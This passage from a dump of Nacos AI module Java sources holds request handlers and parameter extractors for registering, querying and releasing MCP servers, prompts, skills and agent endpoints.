request.getParameter(\"promptKey\");\n        if (StringUtils.isNotBlank(promptKey)) {\n            paramInfo.setDataId(promptKey + PROMPT_DATA_ID_SUFFIX);\n        }\n        return Collections.singletonList(paramInfo);\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/param/SkillHttpParamExtractor.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.param;\n\nimport com.alibaba.nacos.api.ai.model.skills.Skill;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.paramcheck.ParamInfo;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.core.paramcheck.AbstractHttpParamExtractor;\nimport jakarta.servlet.http.HttpServletRequest;\n\nimport java.util.Collections;\nimport java.util.List;\n\n/**\n * Nacos AI Skill param extractor.\n *\n * @author nacos\n */\npublic class SkillHttpParamExtractor extends AbstractHttpParamExtractor {\n    \n    private static final String SKILL_CARD_PARAM = \"skillCard\";\n    \n    @Override\n    public List<ParamInfo> extractParam(HttpServletRequest request) throws NacosException {\n        ParamInfo paramInfo = new ParamInfo();\n        paramInfo.setNamespaceId(request.getParameter(\"namespaceId\"));\n        paramInfo.setAgentName(request.getParameter(\"skillName\"));\n        if (request.getParameterMap().containsKey(SKILL_CARD_PARAM)) {\n            paramInfo.setAgentName(deserializeAndGetSkillName(request.getParameter(SKILL_CARD_PARAM)));\n        }\n        return Collections.singletonList(paramInfo);\n    }\n    \n    private String deserializeAndGetSkillName(String skillCardJson) {\n        try {\n            Skill skill = JacksonUtils.toObj(skillCardJson, Skill.class);\n            return skill.getName();\n        } catch (Exception ignored) {\n            return StringUtils.EMPTY;\n        }\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/remote/handler/McpServerEndpointRequestHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.remote.handler;\n\nimport com.alibaba.nacos.ai.index.McpServerIndex;\nimport com.alibaba.nacos.ai.model.mcp.McpServerIndexData;\nimport com.alibaba.nacos.ai.service.McpServerOperationService;\nimport com.alibaba.nacos.ai.utils.McpRequestUtil;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.FrontEndpointConfig;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServiceRef;\nimport com.alibaba.nacos.api.ai.remote.AiRemoteConstants;\nimport com.alibaba.nacos.api.ai.remote.request.McpServerEndpointRequest;\nimport com.alibaba.nacos.api.ai.remote.response.McpServerEndpointResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.trace.DeregisterInstanceReason;\nimport com.alibaba.nacos.common.trace.event.naming.DeregisterInstanceTraceEvent;\nimport com.alibaba.nacos.common.trace.event.naming.RegisterInstanceTraceEvent;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.core.namespace.filter.NamespaceValidation;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.core.paramcheck.impl.McpServerRequestParamExtractor;\nimport com.alibaba.nacos.core.remote.RequestHandler;\nimport com.alibaba.nacos.naming.core.v2.pojo.Service;\nimport com.alibaba.nacos.naming.core.v2.service.impl.EphemeralClientOperationServiceImpl;\nimport com.alibaba.nacos.naming.utils.NamingRequestUtil;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Component;\n\n/**\n * Register or Deregister endpoint for mcp server to nacos AI module request handler.\n *\n * @author xiweng.yy\n */\n@Component\npublic class McpServerEndpointRequestHandler\n        extends RequestHandler<McpServerEndpointRequest, McpServerEndpointResponse> {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(McpServerEndpointRequestHandler.class);\n    \n    private static final String VERSION_TAG = \"_mcp_server_version\";\n    \n    private final EphemeralClientOperationServiceImpl clientOperationService;\n    \n    private final McpServerOperationService mcpServerOperationService;\n    \n    private final McpServerIndex mcpServerIndex;\n    \n    public McpServerEndpointRequestHandler(EphemeralClientOperationServiceImpl clientOperationService,\n            McpServerOperationService mcpServerOperationService, McpServerIndex mcpServerIndex) {\n        this.clientOperationService = clientOperationService;\n        this.mcpServerOperationService = mcpServerOperationService;\n        this.mcpServerIndex = mcpServerIndex;\n    }\n    \n    @Override\n    @NamespaceValidation\n    @ExtractorManager.Extractor(rpcExtractor = McpServerRequestParamExtractor.class)\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI)\n    public McpServerEndpointResponse handle(McpServerEndpointRequest request, RequestMeta meta) throws NacosException {\n        McpRequestUtil.fillNamespaceId(request);\n        try {\n            checkParameters(request);\n            Instance instance = buildInstance(request);\n            return doHandler(request, instance, meta);\n        } catch (NacosException e) {\n            McpServerEndpointResponse response = new McpServerEndpointResponse();\n            response.setErrorInfo(e.getErrCode(), e.getErrMsg());\n            return response;\n        }\n    }\n    \n    private void checkParameters(McpServerEndpointRequest request) throws NacosApiException {\n        if (StringUtils.isBlank(request.getMcpName())) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `mcpName` can't be empty or null\");\n        }\n    }\n    \n    private McpServerEndpointResponse doHandler(McpServerEndpointRequest request, Instance instance, RequestMeta meta)\n            throws NacosException {\n        McpServerIndexData indexData = mcpServerIndex.getMcpServerByName(request.getNamespaceId(),\n                request.getMcpName());\n        if (null == indexData) {\n            throw new NacosApiException(NacosException.NOT_FOUND, ErrorCode.MCP_SERVER_NOT_FOUND,\n                    String.format(\"MCP server `%s` not found in namespaceId: `%s`\", request.getMcpName(),\n                            request.getNamespaceId()));\n        }\n        McpServerDetailInfo mcpServer = mcpServerOperationService.getMcpServerDetail(request.getNamespaceId(),\n                indexData.getId(), null, request.getVersion());\n        McpServiceRef serviceRef = buildServiceRef(mcpServer);\n        if (null == serviceRef) {\n            throw new NacosApiException(NacosException.NOT_FOUND, ErrorCode.MCP_SERVER_REF_ENDPOINT_SERVICE_NOT_FOUND,\n                    \"The Mcp Server Ref endpoint service not found.\");\n        }\n        Service service = Service.newService(request.getNamespaceId(), serviceRef.getGroupName(),\n                serviceRef.getServiceName(), true);\n        switch (request.getType()) {\n            case AiRemoteConstants.REGISTER_ENDPOINT:\n                LOGGER.info(\"[{}] register endpoint {}:{} version {} for mcp server: {}\", meta.getConnectionId(),\n                        request.getAddress(), request.getPort(), request.getVersion(), request.getMcpName());\n                doRegister(service, instance, meta);\n                break;\n            case AiRemoteConstants.DE_REGISTER_ENDPOINT:\n                LOGGER.info(\"[{}] de-register endpoint {}:{} version {} for mcp server: {}\", meta.getConnectionId(),\n                        request.getAddress(), request.getPort(), request.getVersion(), request.getMcpName());\n                doDeregister(service, instance, meta);\n                break;\n            default:\n                throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                        String.format(\"parameter `type` should be %s or %s, but was %s\",\n                                AiRemoteConstants.REGISTER_ENDPOINT, AiRemoteConstants.DE_REGISTER_ENDPOINT,\n                                request.getType()));\n        }\n        McpServerEndpointResponse response = new McpServerEndpointResponse();\n        response.setType(request.getType());\n        return response;\n    }\n    \n    private Instance buildInstance(McpServerEndpointRequest request) throws NacosApiException {\n        Instance instance = new Instance();\n        instance.setIp(request.getAddress());\n        instance.setPort(request.getPort());\n        instance.validate();\n        if (StringUtils.isNotBlank(request.getVersion())) {\n            instance.getMetadata().put(VERSION_TAG, request.getVersion());\n        }\n        return instance;\n    }\n    \n    private McpServiceRef buildServiceRef(McpServerDetailInfo mcpServer) {\n        boolean isRegisterToFrontend = AiConstants.Mcp.MCP_PROTOCOL_HTTP.equals(mcpServer.getProtocol());\n        McpServiceRef result = null;\n        if (isRegisterToFrontend) {\n            for (FrontEndpointConfig each : mcpServer.getRemoteServerConfig().getFrontEndpointConfigList()) {\n                if (AiConstants.Mcp.MCP_ENDPOINT_TYPE_REF.equals(each.getEndpointType())) {\n                    result = McpRequestUtil.transferToMcpServiceRef(each.getEndpointData());\n                    break;\n                }\n            }\n        } else {\n            result = mcpServer.getRemoteServerConfig().getServiceRef();\n        }\n        return result;\n    }\n    \n    private void doRegister(Service service, Instance instance, RequestMeta meta) throws NacosException {\n        clientOperationService.registerInstance(service, instance, meta.getConnectionId());\n        NotifyCenter.publishEvent(new RegisterInstanceTraceEvent(System.currentTimeMillis(),\n                NamingRequestUtil.getSourceIpForGrpcRequest(meta), true, service.getNamespace(), service.getGroup(),\n                service.getName(), instance.getIp(), instance.getPort()));\n    }\n    \n    private void doDeregister(Service service, Instance instance, RequestMeta meta) {\n        clientOperationService.deregisterInstance(service, instance, meta.getConnectionId());\n        NotifyCenter.publishEvent(new DeregisterInstanceTraceEvent(System.currentTimeMillis(),\n                NamingRequestUtil.getSourceIpForGrpcRequest(meta), true, DeregisterInstanceReason.REQUEST,\n                service.getNamespace(), service.getGroup(), service.getName(), instance.getIp(),\n                instance.getPort()));\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/remote/handler/QueryMcpServerRequestHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.remote.handler;\n\nimport com.alibaba.nacos.ai.index.McpServerIndex;\nimport com.alibaba.nacos.ai.model.mcp.McpServerIndexData;\nimport com.alibaba.nacos.ai.service.McpServerOperationService;\nimport com.alibaba.nacos.ai.utils.McpRequestUtil;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.remote.request.QueryMcpServerRequest;\nimport com.alibaba.nacos.api.ai.remote.response.QueryMcpServerResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.core.namespace.filter.NamespaceValidation;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.core.paramcheck.impl.McpServerRequestParamExtractor;\nimport com.alibaba.nacos.core.remote.RequestHandler;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.springframework.stereotype.Component;\n\n/**\n * Nacos AI module query mcp request handler.\n *\n * @author xiweng.yy\n */\n@Component\npublic class QueryMcpServerRequestHandler extends RequestHandler<QueryMcpServerRequest, QueryMcpServerResponse> {\n    \n    private final McpServerOperationService mcpServerOperationService;\n    \n    private final McpServerIndex mcpServerIndex;\n    \n    public QueryMcpServerRequestHandler(McpServerOperationService mcpServerOperationService,\n            McpServerIndex mcpServerIndex) {\n        this.mcpServerOperationService = mcpServerOperationService;\n        this.mcpServerIndex = mcpServerIndex;\n    }\n    \n    @Override\n    @NamespaceValidation\n    @ExtractorManager.Extractor(rpcExtractor = McpServerRequestParamExtractor.class)\n    @Secured(action = ActionTypes.READ, signType = SignType.AI)\n    public QueryMcpServerResponse handle(QueryMcpServerRequest request, RequestMeta meta) throws NacosException {\n        McpRequestUtil.fillNamespaceId(request);\n        if (StringUtils.isBlank(request.getMcpName())) {\n            QueryMcpServerResponse errorResponse = new QueryMcpServerResponse();\n            errorResponse.setErrorInfo(NacosException.INVALID_PARAM, \"parameters `mcpName` can't be empty or null\");\n            return errorResponse;\n        }\n        return doHandler(request, meta);\n    }\n    \n    private QueryMcpServerResponse doHandler(QueryMcpServerRequest request, RequestMeta meta) throws NacosException {\n        McpServerIndexData indexData = mcpServerIndex.getMcpServerByName(request.getNamespaceId(),\n                request.getMcpName());\n        QueryMcpServerResponse response = new QueryMcpServerResponse();\n        if (null == indexData) {\n            response.setErrorInfo(NacosException.NOT_FOUND,\n                    String.format(\"MCP server `%s` not found in namespaceId: `%s`\", request.getMcpName(),\n                            request.getNamespaceId()));\n            return response;\n        }\n        McpServerDetailInfo detailInfo = mcpServerOperationService.getMcpServerDetail(request.getNamespaceId(),\n                indexData.getId(), null, request.getVersion());\n        response.setMcpServerDetailInfo(detailInfo);\n        return response;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/remote/handler/QueryPromptRequestHandler.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.remote.handler;\n\nimport com.alibaba.nacos.ai.service.prompt.PromptClientOperationService;\nimport com.alibaba.nacos.api.ai.model.prompt.Prompt;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionInfo;\nimport com.alibaba.nacos.api.ai.remote.request.QueryPromptRequest;\nimport com.alibaba.nacos.api.ai.remote.response.QueryPromptResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.NamespaceUtil;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.core.namespace.filter.NamespaceValidation;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.core.paramcheck.impl.PromptRequestParamExtractor;\nimport com.alibaba.nacos.core.remote.RequestHandler;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Component;\n\n/**\n * Nacos AI module query prompt request handler.\n *\n * @author nacos\n */\n@Component\npublic class QueryPromptRequestHandler extends RequestHandler<QueryPromptRequest, QueryPromptResponse> {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(QueryPromptRequestHandler.class);\n    \n    private final PromptClientOperationService promptOperationService;\n    \n    public QueryPromptRequestHandler(PromptClientOperationService promptOperationService) {\n        this.promptOperationService = promptOperationService;\n    }\n    \n    @Override\n    @NamespaceValidation\n    @ExtractorManager.Extractor(rpcExtractor = PromptRequestParamExtractor.class)\n    @Secured(action = ActionTypes.READ, signType = SignType.AI)\n    public QueryPromptResponse handle(QueryPromptRequest request, RequestMeta meta) {\n        request.setNamespaceId(NamespaceUtil.processNamespaceParameter(request.getNamespaceId()));\n        if (StringUtils.isBlank(request.getPromptKey())) {\n            QueryPromptResponse errorResponse = new QueryPromptResponse();\n            errorResponse.setErrorInfo(NacosException.INVALID_PARAM, \"parameters `promptKey` can't be empty or null\");\n            return errorResponse;\n        }\n        QueryPromptResponse response = new QueryPromptResponse();\n        try {\n            PromptVersionInfo result = promptOperationService.queryPrompt(\n                    request.getNamespaceId(), request.getPromptKey(), request.getVersion(), request.getLabel(), request.getMd5());\n            response.setPromptInfo(convertToClientPrompt(result));\n        } catch (NacosException e) {\n            if (e.getErrCode() == NacosException.NOT_MODIFIED) {\n                response.setErrorInfo(NacosException.NOT_MODIFIED, \"prompt data is up to date\");\n                return response;\n            }\n            LOGGER.error(\"Query prompt {} error: {}\", request.getPromptKey(), e.getErrMsg());\n            response.setErrorInfo(e.getErrCode(), e.getErrMsg());\n        }\n        return response;\n    }\n    \n    private Prompt convertToClientPrompt(PromptVersionInfo versionInfo) {\n        Prompt prompt = new Prompt();\n        prompt.setPromptKey(versionInfo.getPromptKey());\n        prompt.setVersion(versionInfo.getVersion());\n        prompt.setTemplate(versionInfo.getTemplate());\n        prompt.setMd5(versionInfo.getMd5());\n        prompt.setVariables(versionInfo.getVariables());\n        return prompt;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/remote/handler/ReleaseMcpServerRequestHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.remote.handler;\n\nimport com.alibaba.nacos.ai.index.McpServerIndex;\nimport com.alibaba.nacos.ai.model.mcp.McpServerIndexData;\nimport com.alibaba.nacos.ai.service.McpEndpointOperationService;\nimport com.alibaba.nacos.ai.service.McpServerOperationService;\nimport com.alibaba.nacos.ai.utils.McpRequestUtil;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.McpEndpointSpec;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpToolSpecification;\nimport com.alibaba.nacos.api.ai.remote.request.ReleaseMcpServerRequest;\nimport com.alibaba.nacos.api.ai.remote.response.ReleaseMcpServerResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.naming.CommonParams;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.core.namespace.filter.NamespaceValidation;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.core.paramcheck.impl.McpServerRequestParamExtractor;\nimport com.alibaba.nacos.core.remote.RequestHandler;\nimport com.alibaba.nacos.naming.core.v2.pojo.Service;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Component;\n\n/**\n * Nacos AI module release new mcp server or new version of exist mcp server request handler.\n *\n * @author xiweng.yy\n */\n@Component\npublic class ReleaseMcpServerRequestHandler extends RequestHandler<ReleaseMcpServerRequest, ReleaseMcpServerResponse> {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ReleaseMcpServerRequest.class);\n    \n    private final McpServerOperationService mcpServerOperationService;\n    \n    private final McpEndpointOperationService endpointOperationService;\n    \n    private final McpServerIndex mcpServerIndex;\n    \n    public ReleaseMcpServerRequestHandler(McpServerOperationService mcpServerOperationService,\n            McpEndpointOperationService endpointOperationService, McpServerIndex mcpServerIndex) {\n        this.mcpServerOperationService = mcpServerOperationService;\n        this.endpointOperationService = endpointOperationService;\n        this.mcpServerIndex = mcpServerIndex;\n    }\n    \n    @Override\n    @NamespaceValidation\n    @ExtractorManager.Extractor(rpcExtractor = McpServerRequestParamExtractor.class)\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI)\n    public ReleaseMcpServerResponse handle(ReleaseMcpServerRequest request, RequestMeta meta) throws NacosException {\n        McpRequestUtil.fillNamespaceId(request);\n        try {\n            checkParameters(request);\n            return doHandler(request, meta);\n        } catch (NacosException e) {\n            ReleaseMcpServerResponse response = new ReleaseMcpServerResponse();\n            response.setErrorInfo(e.getErrCode(), e.getErrMsg());\n            return response;\n        }\n    }\n    \n    private void checkParameters(ReleaseMcpServerRequest request) throws NacosException {\n        McpServerBasicInfo serverSpecification = request.getServerSpecification();\n        if (null == serverSpecification) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter 'serverSpecification' type McpServerBasicInfo is not present\");\n        }\n        String mcpName = serverSpecification.getName();\n        if (StringUtils.isEmpty(mcpName)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter 'serverSpecification.name' type String is not present\");\n        }\n        if (null == serverSpecification.getVersionDetail() || StringUtils.isBlank(\n                serverSpecification.getVersionDetail().getVersion())) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter `serverSpecification.versionDetail.version` not present\");\n        }\n    }\n    \n    private ReleaseMcpServerResponse doHandler(ReleaseMcpServerRequest request, RequestMeta meta)\n            throws NacosException {\n        String namespaceId = request.getNamespaceId();\n        McpServerBasicInfo serverSpecification = request.getServerSpecification();\n        LOGGER.info(\"Release new mcp server {}, version {} into namespaceId {} from connectionId {}.\",\n                serverSpecification.getName(), serverSpecification.getVersionDetail().getVersion(), namespaceId,\n                meta.getConnectionId());\n        ReleaseMcpServerResponse response = new ReleaseMcpServerResponse();\n        try {\n            // mcp server and version found, means this version of mcp server has been release, throw exception.\n            McpServerBasicInfo existMcpServer = mcpServerOperationService.getMcpServerDetail(namespaceId,\n                    serverSpecification.getId(), serverSpecification.getName(),\n                    serverSpecification.getVersionDetail().getVersion());\n            String version = existMcpServer.getVersionDetail().getVersion();\n            LOGGER.info(\"Mcp Server {} and target version {} already exist.\", existMcpServer.getName(), version);\n            throw new NacosApiException(NacosException.CONFLICT, ErrorCode.MCP_SERVER_VERSION_EXIST,\n                    String.format(\"Mcp Server %s and target version %s already exist, do not do release\",\n                            existMcpServer.getName(), version));\n        } catch (NacosApiException e) {\n            if (ErrorCode.MCP_SERVER_NOT_FOUND.getCode() == e.getDetailErrCode()) {\n                // mcp server not found, create new mcp server.\n                String mcpId = createNewMcpServer(namespaceId, request);\n                response.setMcpId(mcpId);\n                LOGGER.info(\"Mcp Server {} released, Mcp Server id: {}\", serverSpecification.getName(), mcpId);\n            } else if (ErrorCode.MCP_SEVER_VERSION_NOT_FOUND.getCode() == e.getDetailErrCode()) {\n                // mcp server found but version not found, update mcp server.\n                createNewVersionMcpServer(namespaceId, request);\n                McpServerIndexData mcpServerIndexData = mcpServerIndex.getMcpServerByName(namespaceId,\n                        serverSpecification.getName());\n                response.setMcpId(mcpServerIndexData.getId());\n                LOGGER.info(\"Mcp Server {} new version {} released, Mcp Server id: {}\", serverSpecification.getName(),\n                        serverSpecification.getVersionDetail().getVersion(), mcpServerIndexData.getId());\n            } else {\n                LOGGER.error(\"Mcp Server {} released failed.\", serverSpecification.getName(), e);\n                throw e;\n            }\n        }\n        return response;\n    }\n    \n    private String createNewMcpServer(String namespaceId, ReleaseMcpServerRequest request) throws NacosException {\n        McpServerBasicInfo mcpServerBasicInfo = request.getServerSpecification();\n        McpToolSpecification toolSpecification = request.getToolSpecification();\n        McpEndpointSpec endpointSpecification =\n                null == request.getEndpointSpecification() ? autoBuildMcpEndpointSpecification(namespaceId,\n                        mcpServerBasicInfo) : request.getEndpointSpecification();\n        return mcpServerOperationService.createMcpServer(namespaceId, mcpServerBasicInfo, toolSpecification,\n                endpointSpecification);\n    }\n    \n    private void createNewVersionMcpServer(String namespaceId, ReleaseMcpServerRequest request) throws NacosException {\n        McpServerBasicInfo mcpServerBasicInfo = request.getServerSpecification();\n        McpToolSpecification toolSpecification = request.getToolSpecification();\n        McpEndpointSpec endpointSpecification =\n                null == request.getEndpointSpecification() ? autoBuildMcpEndpointSpecification(namespaceId,\n                        mcpServerBasicInfo) : request.getEndpointSpecification();\n        Boolean isLatest = mcpServerBasicInfo.getVersionDetail().getIs_latest();\n        boolean isPublish = isLatest != null && isLatest;\n        mcpServerOperationService.updateMcpServer(namespaceId, isPublish, mcpServerBasicInfo, toolSpecification,\n                endpointSpecification, Boolean.FALSE);\n        \n    }\n    \n    private McpEndpointSpec autoBuildMcpEndpointSpecification(String namespaceId,\n            McpServerBasicInfo mcpServerBasicInfo) {\n        if (AiConstants.Mcp.MCP_PROTOCOL_STDIO.equals(mcpServerBasicInfo.getProtocol())) {\n            return null;\n        }\n        // Not stdio protocol need to create endpoint service.\n        return autoBuildMcpEndpointSpecification(namespaceId, mcpServerBasicInfo.getName(),\n                mcpServerBasicInfo.getVersionDetail().getVersion());\n    }\n    \n    private McpEndpointSpec autoBuildMcpEndpointSpecification(String namespaceId, String mcpName, String version) {\n        String versionMcpName = mcpName + \"::\" + version;\n        Service service = endpointOperationService.generateService(namespaceId, versionMcpName);\n        McpEndpointSpec endpointSpecification = new McpEndpointSpec();\n        endpointSpecification.setType(AiConstants.Mcp.MCP_ENDPOINT_TYPE_REF);\n        endpointSpecification.getData().put(CommonParams.NAMESPACE_ID, service.getNamespace());\n        endpointSpecification.getData().put(CommonParams.GROUP_NAME, service.getGroup());\n        endpointSpecification.getData().put(CommonParams.SERVICE_NAME, service.getName());\n        return endpointSpecification;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/remote/handler/a2a/AgentEndpointRequestHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.remote.handler.a2a;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.service.a2a.identity.AgentIdCodecHolder;\nimport com.alibaba.nacos.ai.utils.AgentEndpointUtil;\nimport com.alibaba.nacos.ai.utils.AgentRequestUtil;\nimport com.alibaba.nacos.api.ai.remote.AiRemoteConstants;\nimport com.alibaba.nacos.api.ai.remote.request.AgentEndpointRequest;\nimport com.alibaba.nacos.api.ai.remote.response.AgentEndpointResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.trace.DeregisterInstanceReason;\nimport com.alibaba.nacos.common.trace.event.naming.DeregisterInstanceTraceEvent;\nimport com.alibaba.nacos.common.trace.event.naming.RegisterInstanceTraceEvent;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.core.namespace.filter.NamespaceValidation;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.core.paramcheck.impl.AgentRequestParamExtractor;\nimport com.alibaba.nacos.core.remote.RequestHandler;\nimport com.alibaba.nacos.naming.core.v2.pojo.Service;\nimport com.alibaba.nacos.naming.core.v2.service.impl.EphemeralClientOperationServiceImpl;\nimport com.alibaba.nacos.naming.utils.NamingRequestUtil;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Component;\n\n/**\n * Register or Deregister endpoint for agent to nacos AI module request handler.\n *\n * @author xiweng.yy\n */\n@Component\npublic class AgentEndpointRequestHandler extends RequestHandler<AgentEndpointRequest, AgentEndpointResponse> {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(AgentEndpointRequestHandler.class);\n    \n    private final EphemeralClientOperationServiceImpl clientOperationService;\n    \n    private final AgentIdCodecHolder agentIdCodecHolder;\n    